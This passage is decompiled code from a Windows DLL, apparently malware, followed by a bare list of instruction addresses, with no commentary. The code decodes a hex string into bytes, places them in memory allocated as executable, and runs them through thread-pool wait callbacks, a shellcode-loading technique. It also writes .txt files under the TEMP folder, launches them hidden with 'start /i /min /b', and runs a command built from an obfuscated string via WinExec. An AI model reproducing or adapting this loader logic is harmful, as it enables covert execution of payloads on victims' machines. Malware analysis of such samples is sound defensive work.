													} else {
														_t1089 = _v66156;
														_t1205 = _t1204 + 1;
														_t794 = _t1089;
														if(_t1205 < 0x1000) {
															L271:
															_push(_t1205);
															E10008291(_t794, _t1089);
															_t1312 = _t1312 + 8;
															goto L272;
														} else {
															_t1084 =  *((intOrPtr*)(_t1089 - 4));
															_t1185 = _t1205 + 0x23;
															_t784 = _t794 - _t1084 + 0xfffffffc;
															if(_t794 - _t1084 + 0xfffffffc > 0x1f) {
																goto L18;
															} else {
																goto L271;
															}
														}
													}
												}
											} else {
												E10005BC0( &_v66180, _t1185,  &_v65700);
												_v8 = 0x26;
												_t1270 = 0;
												_v66472 = 0;
												_push((_v66164 >> 1) + 1);
												_t1290 =  >=  ? _v66180 :  &_v66180;
												_v66460 = 0;
												_v66476 = E10008986(_t1185);
												_t804 = strtoul(_t1290,  &_v66460, 0x10);
												_t1322 = _t1312 + 0x10;
												if(_t1290 != _v66460) {
													do {
														 *(_v66476 + _t1270) = _t804;
														_t1291 = _v66460;
														_t1270 = _t1270 + 1;
														_t804 = strtoul(_t1291,  &_v66460, 0x10);
														_t1322 = _t1322 + 0xc;
													} while (_t1291 != _v66460);
													_v66472 = _t1270;
												}
												_t805 = CreateEventW(0, 0, 1, 0);
												_t1263 = _t805;
												_t1279 = VirtualAlloc(0, _v66472, 0x1000, 0x40);
												_t807 = memmove(_t1279, _v66476, _v66472);
												_t1312 = _t1322 + 0xc;
												__imp__CreateThreadpoolWait(_t1279, 0, 0);
												__imp__SetThreadpoolWait(_t807, _t805, 0);
												_v8 = 0x18;
												_t1185 = _v66160;
												if(_t1185 < 0x10) {
													goto L267;
												} else {
													_t1091 = _v66180;
													_t1185 = _t1185 + 1;
													_t808 = _t1091;
													if(_t1185 < 0x1000) {
														L266:
														_push(_t1185);
														E10008291(_t808, _t1091);
														_t1312 = _t1312 + 8;
														goto L267;
													} else {
														_t1084 =  *((intOrPtr*)(_t1091 - 4));
														_t1185 = _t1185 + 0x23;
														_t784 = _t808 - _t1084 + 0xfffffffc;
														if(_t808 - _t1084 + 0xfffffffc > 0x1f) {
															goto L18;
														} else {
															goto L266;
														}
													}
												}
											}
										} else {
											_t1279 = E100013A0( &_v66208, 0xb);
											_v8 = 0x1f;
											_t813 = E100070C0( &_v66180,  &_v66232, "\\");
											_v8 = 0x20;
											_t814 = E10007350( &_v66156, _t813, _t812);
											_t1312 = _t1312 + 8;
											_t1271 = _t814;
											_v8 = 0x21;
											_t1209 =  *((intOrPtr*)(_t1271 + 0x14));
											_t1096 =  *((intOrPtr*)(_t1271 + 0x10));
											if(_t1209 - _t1096 < 4) {
												_v66484 = 0;
												_t1096 = _t1271;
												_t1263 = E100079E0(_t1007, _t1096, _t1271, 4, _v66484, ".txt", 4);
											} else {
												 *((intOrPtr*)(_t1271 + 0x10)) = _t1096 + 4;
												_t847 = _t1271;
												if(_t1209 >= 0x10) {
													_t847 =  *_t1271;
												}
												_t1279 = _t847 + _t1096;
												memmove(_t1279, ".txt", 4);
												_t1312 = _t1312 + 0xc;
												 *((char*)(_t1279 + 4)) = 0;
											}
											_v66480 = _v66480 | 0x00000008;
											_v66044 = 0;
											_v66040 = 0;
											asm("movups xmm0, [edi]");
											asm("movups [ebp-0x10208], xmm0");
											asm("movq xmm0, [edi+0x10]");
											asm("movq [ebp-0x101f8], xmm0");
											 *(_t1263 + 0x10) = 0;
											 *(_t1263 + 0x14) = 0xf;
											 *_t1263 = 0;
											_v8 = 0x23;
											_t1210 = _v66136;
											if(_t1210 < 0x10) {
												L241:
												_v66140 = 0;
												_v66136 = 0xf;
												_v66156 = 0;
												_v8 = 0x24;
												_t1211 = _v66160;
												if(_t1211 < 0x10) {
													L245:
													_v66164 = 0;
													_v66160 = 0xf;
													_v66180 = 0;
													_v8 = 0x25;
													_t1212 = _v66188;
													if(_t1212 < 0x10) {
														L249:
														_t819 =  >=  ? _v66060 :  &_v66060;
														_v66192 = 0;
														_v66188 = 0xf;
														_v66208 = 0;
														E10005C90(_t1007,  &_v66456, _t1263, _t1279,  >=  ? _v66060 :  &_v66060, 0x22);
														_t822 =  >=  ? _v65892 :  &_v65892;
														__imp__?write@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV12@PBD_J@Z( >=  ? _v65892 :  &_v65892, _v65876, 0, _t1096);
														_t823 = E10006FF0( &_v66452);
														if(_t823 == 0) {
															__imp__?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z(2, _t823);
														}
														E100074F0( &_v66108, "start /i /min /b start /i /min /b start /i /min /b ",  &_v66060);
														_t827 =  >=  ? _v66108 :  &_v66108;
														system( >=  ? _v66108 :  &_v66108);
														_t1214 = _v66088;
														_t1312 = _t1312 + 8;
														if(_t1214 < 0x10) {
															L255:
															_v8 = 0x18;
															_t1185 = _v66040;
															_v66092 = 0;
															_v66088 = 0xf;
															_v66108 = 0;
															if(_t1185 < 0x10) {
																goto L259;
															} else {
																_t1101 = _v66060;
																_t1185 = _t1185 + 1;
																_t829 = _t1101;
																if(_t1185 < 0x1000) {
																	L258:
																	_push(_t1185);
																	E10008291(_t829, _t1101);
																	_t1312 = _t1312 + 8;
																	goto L259;
																} else {
																	_t1084 =  *((intOrPtr*)(_t1101 - 4));
																	_t1185 = _t1185 + 0x23;
																	_t784 = _t829 - _t1084 + 0xfffffffc;
																	if(_t829 - _t1084 + 0xfffffffc > 0x1f) {
																		goto L18;
																	} else {
																		goto L258;
																	}
																}
															}
														} else {
															_t1102 = _v66108;
															_t1215 = _t1214 + 1;
															_t832 = _t1102;
															if(_t1215 < 0x1000) {
																L254:
																_push(_t1215);
																E10008291(_t832, _t1102);
																_t1312 = _t1312 + 8;
																goto L255;
															} else {
																_t1084 =  *((intOrPtr*)(_t1102 - 4));
																_t1185 = _t1215 + 0x23;
																_t784 = _t832 - _t1084 + 0xfffffffc;
																if(_t832 - _t1084 + 0xfffffffc > 0x1f) {
																	goto L18;
																} else {
																	goto L254;
																}
															}
														}
													} else {
														_t1096 = _v66208;
														_t1216 = _t1212 + 1;
														_t837 = _t1096;
														if(_t1216 < 0x1000) {
															L248:
															_push(_t1216);
															E10008291(_t837, _t1096);
															_t1312 = _t1312 + 8;
															goto L249;
														} else {
															_t1084 =  *((intOrPtr*)(_t1096 - 4));
															_t1185 = _t1216 + 0x23;
															_t784 = _t837 - _t1084 + 0xfffffffc;
															if(_t837 - _t1084 + 0xfffffffc > 0x1f) {
																goto L18;
															} else {
																goto L248;
															}
														}
													}
												} else {
													_t1096 = _v66180;
													_t1217 = _t1211 + 1;
													_t840 = _t1096;
													if(_t1217 < 0x1000) {
														L244:
														_push(_t1217);
														E10008291(_t840, _t1096);
														_t1312 = _t1312 + 8;
														goto L245;
													} else {
														_t1084 =  *((intOrPtr*)(_t1096 - 4));
														_t1185 = _t1217 + 0x23;
														_t784 = _t840 - _t1084 + 0xfffffffc;
														if(_t840 - _t1084 + 0xfffffffc > 0x1f) {
															goto L18;
														} else {
															goto L244;
														}
													}
												}
											} else {
												_t1096 = _v66156;
												_t1218 = _t1210 + 1;
												_t843 = _t1096;
												if(_t1218 < 0x1000) {
													L240:
													_push(_t1218);
													E10008291(_t843, _t1096);
													_t1312 = _t1312 + 8;
													goto L241;
												} else {
													_t1084 =  *((intOrPtr*)(_t1096 - 4));
													_t1185 = _t1218 + 0x23;
													_t784 = _t843 - _t1084 + 0xfffffffc;
													if(_t843 - _t1084 + 0xfffffffc > 0x1f) {
														goto L18;
													} else {
														goto L240;
													}
												}
											}
										}
									} else {
										_t408 = _t745 + 0xb; // 0xb
										_t1272 = E100013A0( &_v66156, _t408);
										_v8 = 0x19;
										_t1220 =  *((intOrPtr*)(_t1272 + 0x14));
										_t1106 =  *((intOrPtr*)(_t1272 + 0x10));
										if(_t1220 - _t1106 < 4) {
											_v66488 = 0;
											_t1106 = _t1272;
											_t1263 = E100079E0(_t1007, _t1106, _t1272, 4, _v66488, ".txt", 4);
										} else {
											 *((intOrPtr*)(_t1272 + 0x10)) = _t1106 + 4;
											_t889 = _t1272;
											if(_t1220 >= 0x10) {
												_t889 =  *_t1272;
											}
											_t1279 = _t889 + _t1106;
											memmove(_t1279, ".txt", 4);
											_t1312 = _t1312 + 0xc;
											 *((char*)(_t1279 + 4)) = 0;
										}
										_v66044 = 0;
										_v66040 = 0;
										asm("movups xmm0, [edi]");
										_v66480 = _v66480 | 0x00000002;
										asm("movups [ebp-0x10208], xmm0");
										asm("movq xmm0, [edi+0x10]");
										asm("movq [ebp-0x101f8], xmm0");
										 *(_t1263 + 0x10) = 0;
										 *(_t1263 + 0x14) = 0xf;
										 *_t1263 = 0;
										_v8 = 0x1b;
										_t1221 = _v66136;
										if(_t1221 < 0x10) {
											L213:
											_t856 =  >=  ? _v66060 :  &_v66060;
											_v66140 = 0;
											_v66136 = 0xf;
											_v66156 = 0;
											E10005C90(_t1007,  &_v66456, _t1263, _t1279,  >=  ? _v66060 :  &_v66060, 0x22);
											_t859 =  >=  ? _v65916 :  &_v65916;
											__imp__?write@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV12@PBD_J@Z( >=  ? _v65916 :  &_v65916, _v65900, 0, _t1106);
											_t860 = E10006FF0( &_v66452);
											if(_t860 == 0) {
												_t1454 =  &_v66456 +  *((intOrPtr*)(_v66456 + 4));
												__imp__?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z(2, _t860);
											}
											_v66164 = 0;
											_v66160 = 0xf;
											_v66180 = 0;
											E10006CC0(_t1007,  &_v66180, _t1221, 0x1000a5dc, 0x10);
											_t1323 = _t1312 - 0x18;
											_v8 = 0x1c;
											_t1111 = _t1323;
											_v66476 = _t1323;
											 *(_t1111 + 0x10) = 0;
											 *(_t1111 + 0x14) = 0xf;
											 *_t1111 = 0;
											E10006CC0(_t1007, _t1111, _t1221, "RfKFHjkkfjOCIoWfesiaXMmBBgMDWrtNwdtenDosNdVvrRAwkIxivKJWQw", 0x3a);
											_t1324 = _t1323 - 0x18;
											_v8 = 0x1d;
											E10005BC0(_t1324, _t1221,  &_v66180);
											_v8 = 0x1c;
											E100019B0( &_v66208, _t1221, _t1454);
											_v8 = 0x1e;
											E10007210( &_v66108,  &_v66208,  &_v66060);
											_t1312 = _t1324 + 0x34;
											_t869 =  >=  ? _v66108 :  &_v66108;
											WinExec( >=  ? _v66108 :  &_v66108, 0);
											_t1223 = _v66088;
											if(_t1223 < 0x10) {
												L219:
												_v8 = 0x1c;
												_t1224 = _v66188;
												_v66092 = 0;
												_v66088 = 0xf;
												_v66108 = 0;
												if(_t1224 < 0x10) {
													L223:
													_v8 = 0x1b;
													_t1225 = _v66160;
													_v66192 = 0;
													_v66188 = 0xf;
													_v66208 = 0;
													if(_t1225 < 0x10) {
														L227:
														_v8 = 0x18;
														_t1185 = _v66040;
														if(_t1185 < 0x10) {
															goto L231;
														} else {
															_t1115 = _v66060;
															_t1185 = _t1185 + 1;
															_t871 = _t1115;
															if(_t1185 < 0x1000) {
																L230:
																_push(_t1185);
																E10008291(_t871, _t1115);
																_t1312 = _t1312 + 8;
																goto L231;
															} else {
																_t1084 =  *((intOrPtr*)(_t1115 - 4));
																_t1185 = _t1185 + 0x23;
																_t784 = _t871 - _t1084 + 0xfffffffc;
																if(_t871 - _t1084 + 0xfffffffc > 0x1f) {
																	goto L18;
																} else {
																	goto L230;
																}
															}
														}
													} else {
														_t1116 = _v66180;
														_t1226 = _t1225 + 1;
														_t874 = _t1116;
														if(_t1226 < 0x1000) {
															L226:
															_push(_t1226);
															E10008291(_t874, _t1116);
															_t1312 = _t1312 + 8;
															goto L227;
														} else {
															_t1084 =  *((intOrPtr*)(_t1116 - 4));
															_t1185 = _t1226 + 0x23;
															_t784 = _t874 - _t1084 + 0xfffffffc;
															if(_t874 - _t1084 + 0xfffffffc > 0x1f) {
																goto L18;
															} else {
																goto L226;
															}
														}
													}
												} else {
													_t1117 = _v66208;
													_t1227 = _t1224 + 1;
													_t877 = _t1117;
													if(_t1227 < 0x1000) {
														L222:
														_push(_t1227);
														E10008291(_t877, _t1117);
														_t1312 = _t1312 + 8;
														goto L223;
													} else {
														_t1084 =  *((intOrPtr*)(_t1117 - 4));
														_t1185 = _t1227 + 0x23;
														_t784 = _t877 - _t1084 + 0xfffffffc;
														if(_t877 - _t1084 + 0xfffffffc > 0x1f) {
															goto L18;
														} else {
															goto L222;
														}
													}
												}
											} else {
												_t1118 = _v66108;
												_t1228 = _t1223 + 1;
												_t880 = _t1118;
												if(_t1228 < 0x1000) {
													L218:
													_push(_t1228);
													E10008291(_t880, _t1118);
													_t1312 = _t1312 + 8;
													goto L219;
												} else {
													_t1084 =  *((intOrPtr*)(_t1118 - 4));
													_t1185 = _t1228 + 0x23;
													_t784 = _t880 - _t1084 + 0xfffffffc;
													if(_t880 - _t1084 + 0xfffffffc > 0x1f) {
														goto L18;
													} else {
														goto L218;
													}
												}
											}
										} else {
											_t1106 = _v66156;
											_t1221 = _t1221 + 1;
											_t885 = _t1106;
											if(_t1221 < 0x1000) {
												L212:
												_push(_t1221);
												E10008291(_t885, _t1106);
												_t1312 = _t1312 + 8;
												goto L213;
											} else {
												_t1084 =  *((intOrPtr*)(_t1106 - 4));
												_t1185 = _t1221 + 0x23;
												_t784 = _t885 - _t1084 + 0xfffffffc;
												if(_t885 - _t1084 + 0xfffffffc > 0x1f) {
													goto L18;
												} else {
													goto L212;
												}
											}
										}
									}
								}
							}
						} else {
							_t1430 = _t1263 - 3;
							if(_t1430 < 0 || _t1430 > 0) {
								goto L186;
							} else {
								goto L278;
							}
						}
					} else {
						_t1415 = _t1265 - 4;
						if(_t1415 < 0 || _t1415 > 0) {
							goto L169;
						} else {
							_push(E10005A50);
							_push(0x14);
							_push(0x18);
							_v8 = 0x11;
							_push( &_v66036);
							E1000889C();
							L281:
							 *((intOrPtr*)(_t1301 +  *((intOrPtr*)(_v66456 + 4)) - 0x10394)) = 0x1000a6d8;
							_t617 =  *((intOrPtr*)(_v66456 + 4)) - 0x68; // -87
							 *((intOrPtr*)(_t1301 +  *((intOrPtr*)(_v66456 + 4)) - 0x10398)) = _t617;
							_v8 = 0x2b;
							_v66452 = 0x1000a690;
							if(_v66376 != 0 &&  *_v66440 ==  &_v66392) {
								_t771 = _v66372;
								__imp__?setg@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAEXPAD00@Z(_t771, _t771, _v66368);
							}
							if(_v66380 != 0) {
								E10006FF0( &_v66452);
							}
							__imp__??1?$basic_streambuf@DU?$char_traits@D@std@@@std@@UAE@XZ();
							__imp__??1?$basic_ostream@DU?$char_traits@D@std@@@std@@UAE@XZ();
							__imp__??1?$basic_ios@DU?$char_traits@D@std@@@std@@UAE@XZ();
							_t1194 = _v66112;
							if(_t1194 < 0x10) {
								L290:
								_t1195 = _v66260;
								_v66116 = 0;
								_v66112 = 0xf;
								_v66132 = 0;
								if(_t1195 < 0x10) {
									L294:
									_t1196 = _v66064;
									if(_t1196 < 0x10) {
										L298:
										_t1197 = _v66212;
										_v66068 = 0;
										_v66064 = 0xf;
										_v66084 = 0;
										if(_t1197 < 0x10) {
											L302:
											_t1198 = _v66236;
											if(_t1198 >= 0x10) {
												_t1072 = _v66256;
												_t1199 = _t1198 + 1;
												_t754 = _t1072;
												if(_t1199 >= 0x1000) {
													_t1072 =  *((intOrPtr*)(_t1072 - 4));
													_t1199 = _t1199 + 0x23;
													if(_t754 > 0x1f) {
														goto L305;
													}
												}
												goto L306;
											}
										} else {
											_t1073 = _v66232;
											_t1200 = _t1197 + 1;
											_t757 = _t1073;
											if(_t1200 < 0x1000) {
												L301:
												_push(_t1200);
												E10008291(_t757, _t1073);
												_t1312 = _t1312 + 8;
												goto L302;
											} else {
												_t1072 =  *((intOrPtr*)(_t1073 - 4));
												_t1199 = _t1200 + 0x23;
												_t754 = _t757 - _t1072 + 0xfffffffc;
												if(_t757 - _t1072 + 0xfffffffc > 0x1f) {
													goto L305;
												} else {
													goto L301;
												}
											}
										}
									} else {
										_t1074 = _v66084;
										_t1201 = _t1196 + 1;
										_t760 = _t1074;
										if(_t1201 < 0x1000) {
											L297:
											_push(_t1201);
											E10008291(_t760, _t1074);
											_t1312 = _t1312 + 8;
											goto L298;
										} else {
											_t1072 =  *((intOrPtr*)(_t1074 - 4));
											_t1199 = _t1201 + 0x23;
											_t754 = _t760 - _t1072 + 0xfffffffc;
											if(_t760 - _t1072 + 0xfffffffc > 0x1f) {
												goto L305;
											} else {
												goto L297;
											}
										}
									}
								} else {
									_t1075 = _v66280;
									_t1202 = _t1195 + 1;
									_t763 = _t1075;
									if(_t1202 < 0x1000) {
										L293:
										_push(_t1202);
										E10008291(_t763, _t1075);
										_t1312 = _t1312 + 8;
										goto L294;
									} else {
										_t1072 =  *((intOrPtr*)(_t1075 - 4));
										_t1199 = _t1202 + 0x23;
										_t754 = _t763 - _t1072 + 0xfffffffc;
										if(_t763 - _t1072 + 0xfffffffc > 0x1f) {
											goto L305;
										} else {
											goto L293;
										}
									}
								}
							} else {
								_t1076 = _v66132;
								_t1203 = _t1194 + 1;
								_t766 = _t1076;
								if(_t1203 < 0x1000) {
									L289:
									_push(_t1203);
									E10008291(_t766, _t1076);
									_t1312 = _t1312 + 8;
									goto L290;
								} else {
									_t1072 =  *((intOrPtr*)(_t1076 - 4));
									_t1199 = _t1203 + 0x23;
									_t754 = _t766 - _t1072 + 0xfffffffc;
									if(_t766 - _t1072 + 0xfffffffc > 0x1f) {
										L305:
										__imp___invalid_parameter_noinfo_noreturn();
										L306:
										_push(_t1199);
										E10008291(_t754, _t1072);
									} else {
										goto L289;
									}
								}
							}
							 *[fs:0x0] = _v16;
							return E10008280(0, _v20 ^ _t1301);
						}
					}
					goto L310;
					L278:
					_push(E10005A50);
					_push(0x14);
					_push(0x18);
					_v8 = 0x11;
					_push( &_v66036);
					E1000889C();
					_t1263 = _v66468 + 1;
					_v66468 = _t1263;
				} while (_t1263 < 0x36ee80);
				goto L281;
				L1:
				_t663 =  *_t1008;
				_t1008 =  &(_t1008[1]);
				if(_t663 != 0) {
					goto L1;
				} else {
					E10006CC0(__ebx,  &_v66256, _t1156, _t1156, _t1008 - _t1263);
					_v8 = 0;
					_t665 = getenv("TEMP");
					_t1157 = _t665;
					_v66216 = 0;
					_t1011 = _t665;
					_v66212 = 0xf;
					_t1305 = _t1304 + 4;
					_v66232 = 0;
					_t13 =  &(_t1011[1]); // 0x1
					_t1276 = _t13;
				}
				goto L3;
			}

0x10003b10
0x10003b11
0x10003b13
0x10003b15
0x10003b20
0x10003b26
0x10003b2b
0x10003b30
0x10003b32
0x10003b35
0x10003b36
0x10003b37
0x10003b3b
0x10003b45
0x10003b4b
0x10003b5c
0x10003b5e
0x10003b60
0x10003b6a
0x10003b6c
0x10003b76
0x10003b79
0x10003b80
0x10003b80
0x10003b80
0x10003bd0
0x10003bd0
0x10003bd0
0x10003bd2
0x10003bd3
0x10003be1
0x10003be6
0x10003bf7
0x10003c01
0x10003c0b
0x10003c15
0x10003c1c
0x10003c21
0x10003c32
0x10003c3c
0x10003c46
0x10003c4d
0x10003c59
0x10003c5d
0x10003c63
0x10003c74
0x10003c7c
0x10003ce6
0x10003ce8
0x10003cf2
0x10003cf8
0x10003d02
0x10003d09
0x10003d10
0x10003d10
0x10003d13
0x10003d16
0x10003d16
0x10003d25
0x10003d2d
0x10003d32
0x10003d3c
0x10003d4f
0x10003d56
0x10003d60
0x10003d6a
0x10003d71
0x10003d7c
0x10003d85
0x10003d8e
0x10003d93
0x10003da6
0x10003db6
0x10003dc0
0x10003dc5
0x10003dc8
0x10003dcc
0x10003dce
0x10003dd2
0x10003dd4
0x10003dd4
0x10003dd6
0x10003dd9
0x10003de1
0x10003de9
0x10003dea
0x10003deb
0x10003ded
0x10003e1a
0x10003e27
0x10003e2d
0x10003e2e
0x10003def
0x10003df2
0x10003df5
0x10003e01
0x10003e08
0x10003e0c
0x10003e11
0x10003e14
0x10003e14
0x10003e33
0x10003e37
0x10003e3d
0x10003e40
0x10003e42
0x10003e48
0x10003e49
0x10003e4b
0x10003e51
0x10003e53
0x10003e56
0x10003e5b
0x10003e5e
0x10003e61
0x10003e63
0x10003e63
0x10003e63
0x10003e61
0x10003e69
0x10003e6b
0x10003e70
0x10003e70
0x10003e73
0x10003e77
0x10003e7d
0x10003e80
0x10003ead
0x10003ead
0x10003eb1
0x10003eb7
0x10003eba
0x10003ebc
0x10003ec2
0x10003ec9
0x10003ecb
0x10003ed1
0x10003ed3
0x10003ed6
0x10003edb
0x10003ede
0x10003ee1
0x00000000
0x00000000
0x10003ee1
0x00000000
0x10003ed1
0x10003e82
0x10003e82
0x10003e88
0x10003e89
0x10003e8b
0x10003e91
0x10003ea3
0x10003ea3
0x10003ea5
0x10003eaa
0x00000000
0x10003e93
0x10003e93
0x10003e96
0x10003e9b
0x10003e9e
0x10003ea1
0x10003ee3
0x10003ee3
0x10003ee9
0x10003ee9
0x10003eeb
0x10003ef0
0x00000000
0x00000000
0x00000000
0x10003ea1
0x10003e91
0x10003c7e
0x10003c86
0x10003c8e
0x10003c90
0x10003c98
0x10003cc7
0x10003cd4
0x10003cda
0x10003cdc
0x10003c9a
0x10003ca6
0x10003cad
0x10003caf
0x10003cb6
0x10003cbb
0x10003cbe
0x10003cbe
0x10003c98
0x10003f01
0x10003f09
0x10003f73
0x10003f75
0x10003f7f
0x10003f85
0x10003f8f
0x10003f96
0x10003fa0
0x10003fa0
0x10003fa3
0x10003fa6
0x10003fa6
0x10003fb5
0x10003fbd
0x10003fc2
0x10003fcc
0x10003fdf
0x10003fe6
0x10003ff0
0x10003ffa
0x10004001
0x1000400c
0x10004015
0x1000401e
0x10004023
0x10004036
0x10004046
0x10004050
0x10004055
0x10004058
0x1000405c
0x1000405e
0x10004062
0x10004064
0x10004064
0x10004066
0x10004069
0x10004077
0x1000407d
0x1000407e
0x1000407f
0x10004081
0x100040bb
0x100040c8
0x100040ce
0x100040cf
0x10004083
0x10004083
0x10004093
0x1000409a
0x100040a4
0x100040b2
0x100040b5
0x100040b5
0x100040d4
0x100040d8
0x100040de
0x100040e1
0x100040e3
0x100040e9
0x100040ea
0x100040ec
0x100040f2
0x100040f4
0x100040f7
0x100040fc
0x100040ff
0x10004102
0x10004104
0x10004104
0x10004102
0x1000410a
0x1000410c
0x10004111
0x10004111
0x10004114
0x10004118
0x1000411e
0x10004121
0x1000414e
0x1000414e
0x10004152
0x10004158
0x1000415b
0x1000415d
0x10004163
0x1000416a
0x1000416c
0x10004172
0x10004174
0x10004177
0x1000417c
0x1000417f
0x10004182
0x00000000
0x00000000
0x10004182
0x00000000
0x10004172
0x10004123
0x10004123
0x10004129
0x1000412a
0x1000412c
0x10004132
0x10004144
0x10004144
0x10004146
0x1000414b
0x00000000
0x10004134
0x10004134
0x10004137
0x1000413c
0x1000413f
0x10004142
0x10004184
0x10004184
0x1000418a
0x1000418a
0x1000418c
0x10004191
0x00000000
0x00000000
0x00000000
0x10004142
0x10004132
0x10003f0b
0x10003f13
0x10003f1b
0x10003f1d
0x10003f25
0x10003f54
0x10003f61
0x10003f67
0x10003f69
0x10003f27
0x10003f33
0x10003f3a
0x10003f3c
0x10003f43
0x10003f48
0x10003f4b
0x10003f4b
0x10003f25
0x100041a5
0x100041aa
0x100041ad
0x100041b1
0x100041b7
0x100041b9
0x100041b9
0x100041bb
0x100041be
0x100041c6
0x100041ce
0x100041cf
0x100041d2
0x100041ff
0x1000420c
0x10004212
0x10004213
0x100041d4
0x100041da
0x100041e6
0x100041ed
0x100041f1
0x100041f6
0x100041f9
0x100041f9
0x10004218
0x1000421c
0x10004225
0x10004227
0x1000422d
0x1000422e
0x10004236
0x10004238
0x1000423b
0x10004246
0x10004248
0x10004248
0x10004246
0x1000424e
0x10004250
0x10004255
0x10004255
0x10004258
0x1000425e
0x1000426d
0x10004275
0x10004489
0x10004491
0x10004499
0x1000449b
0x100044a0
0x100044a3
0x100044cf
0x100044dc
0x100044e2
0x100044e4
0x100044a5
0x100044a5
0x100044b1
0x100044b8
0x100044ba
0x100044c1
0x100044c6
0x100044c9
0x100044c9
0x1000427b
0x10004281
0x10004284
0x10004288
0x10004292
0x1000429c
0x100042a3
0x100042a6
0x100042a6
0x100042a9
0x100042ac
0x100042b5
0x100042bd
0x100042c2
0x100042df
0x100042e6
0x100042f0
0x100042fa
0x10004301
0x1000430c
0x10004315
0x1000431e
0x10004323
0x10004336
0x10004346
0x10004350
0x10004355
0x10004358
0x1000435c
0x10004362
0x10004364
0x10004364
0x10004366
0x10004369
0x10004371
0x10004379
0x1000437a
0x1000437d
0x100043aa
0x100043b7
0x100043bd
0x100043be
0x1000437f
0x10004385
0x10004391
0x10004398
0x1000439c
0x100043a1
0x100043a4
0x100043a4
0x100043c3
0x100043c7
0x100043d0
0x100043d2
0x100043d8
0x100043d9
0x100043e1
0x100043e3
0x100043e6
0x100043f1
0x100043f3
0x100043f3
0x100043f1
0x100043f9
0x100043fb
0x10004400
0x10004400
0x10004403
0x10004407
0x10004410
0x1000443d
0x1000443d
0x10004441
0x1000444a
0x10004450
0x10004456
0x1000445d
0x10004465
0x10004467
0x1000446a
0x10004475
0x00000000
0x00000000
0x10004475
0x00000000
0x10004465
0x10004412
0x10004412
0x10004418
0x10004419
0x10004421
0x10004433
0x10004433
0x10004435
0x1000443a
0x00000000
0x10004423
0x10004423
0x10004426
0x1000442b
0x10004431
0x10004477
0x10004477
0x1000447d
0x1000447d
0x1000447f
0x10004484
0x00000000
0x00000000
0x00000000
0x10004431
0x10004421
0x10004410
0x100044e9
0x100044ef
0x100044f1
0x100044f4
0x100044f4
0x100044fa
0x100044fd
0x100044ff
0x10004507
0x1000450e
0x1000451a
0x1000451d
0x10004522
0x10004525
0x10004532
0x1000453d
0x10004541
0x10004546
0x10004550
0x10004555
0x1000455e
0x10004560
0x10004566
0x10004567
0x1000456f
0x10004571
0x10004574
0x1000457f
0x10004581
0x10004581
0x1000457f
0x10004587
0x10004589
0x1000458e
0x1000458e
0x1000459e
0x100045a4
0x100045b1
0x100045b6
0x100045c0
0x100045c5
0x100045ce
0x100045d0
0x100045d6
0x100045d7
0x100045df
0x100045e1
0x100045e4
0x100045ef
0x100045f1
0x100045f1
0x100045ef
0x100045f7
0x100045f9
0x100045fe
0x100045fe
0x1000460e
0x10004618
0x10004622
0x10004629
0x10004639
0x10004640
0x10004645
0x1000464e
0x10004653
0x10004657
0x10004661
0x10004666
0x1000466c
0x10004677
0x1000467e
0x10004683
0x10004686
0x1000468a
0x1000468e
0x10004695
0x100046a1
0x100046a4
0x100046af
0x100046b3
0x100046b8
0x100046ba
0x100046c5
0x100046c7
0x100046d0
0x10004701
0x10004701
0x1000470b
0x10004715
0x1000471c
0x1000471f
0x10004726
0x1000472b
0x10004733
0x1000473a
0x10004741
0x100046d2
0x100046d2
0x100046d8
0x100046d9
0x100046e1
0x100046f7
0x100046f7
0x100046f9
0x100046fe
0x00000000
0x100046e3
0x100046e3
0x100046e6
0x100046eb
0x100046f1
0x00000000
0x00000000
0x00000000
0x00000000
0x100046f1
0x100046e1
0x100046d0
0x10004744
0x1000474d
0x1000474f
0x10004755
0x10004756
0x1000475e
0x10004774
0x10004774
0x10004776
0x1000477b
0x10004760
0x10004760
0x10004763
0x10004768
0x1000476e
0x00000000
0x00000000
0x00000000
0x00000000
0x1000476e
0x1000475e
0x1000478b
0x10004795
0x1000479c
0x1000479e
0x100047a8
0x100047af
0x100047b2
0x100047b2
0x100047b4
0x100047b5
0x100047c3
0x100047ce
0x100047dd
0x100047e7
0x100047ed
0x100047f6
0x10004827
0x10004827
0x10004831
0x1000483b
0x10004842
0x10004845
0x1000484c
0x10004851
0x10004859
0x10004860
0x10004867
0x100047f8
0x100047f8
0x100047fe
0x100047ff
0x10004807
0x1000481d
0x1000481d
0x1000481f
0x10004824
0x00000000
0x10004809
0x10004809
0x1000480c
0x10004811
0x10004817
0x00000000
0x00000000
0x00000000
0x00000000
0x10004817
0x10004807
0x100047f6
0x1000486a
0x10004873
0x10004875
0x1000487b
0x1000487c
0x10004884
0x1000489a
0x1000489a
0x1000489c
0x100048a1
0x10004886
0x10004886
0x10004889
0x1000488e
0x10004894
0x00000000
0x00000000
0x00000000
0x00000000
0x10004894
0x10004884
0x100048a4
0x100048a8
0x100048ae
0x100048b8
0x100048c2
0x100048cc
0x100048ce
0x100048d4
0x100048d5
0x100048dd
0x100048f3
0x100048f3
0x100048f5
0x100048fa
0x100048df
0x100048df
0x100048e2
0x100048e7
0x100048ea
0x100048ed
0x00000000
0x00000000
0x00000000
0x00000000
0x100048ed
0x100048dd
0x100048fd
0x10004900
0x10004902
0x1000490a
0x10004911
0x1000491d
0x10004920
0x10004925
0x10004928
0x10004935
0x10004940
0x10004944
0x10004949
0x1000494b
0x10004956
0x1000495c
0x10004965
0x10004996
0x10004996
0x100049a0
0x100049aa
0x100049b1
0x100049b4
0x100049bb
0x100049c0
0x100049c8
0x100049cf
0x100049d6
0x10004967
0x10004967
0x1000496d
0x1000496e
0x10004976
0x1000498c
0x1000498c
0x1000498e
0x10004993
0x00000000
0x10004978
0x10004978
0x1000497b
0x10004980
0x10004986
0x00000000
0x00000000
0x00000000
0x00000000
0x10004986
0x10004976
0x10004965
0x100049d9
0x100049e2
0x100049e4
0x100049ea
0x100049eb
0x100049f3
0x10004a09
0x10004a09
0x10004a0b
0x10004a10
0x100049f5
0x100049f5
0x100049f8
0x100049fd
0x10004a03
0x00000000
0x00000000
0x00000000
0x00000000
0x10004a03
0x100049f3
0x10004a13
0x10004a18
0x10004a1d
0x10004a1f
0x10004a27
0x10004a28
0x10004a2d
0x10004a2f
0x10004a33
0x10004a39
0x10004a40
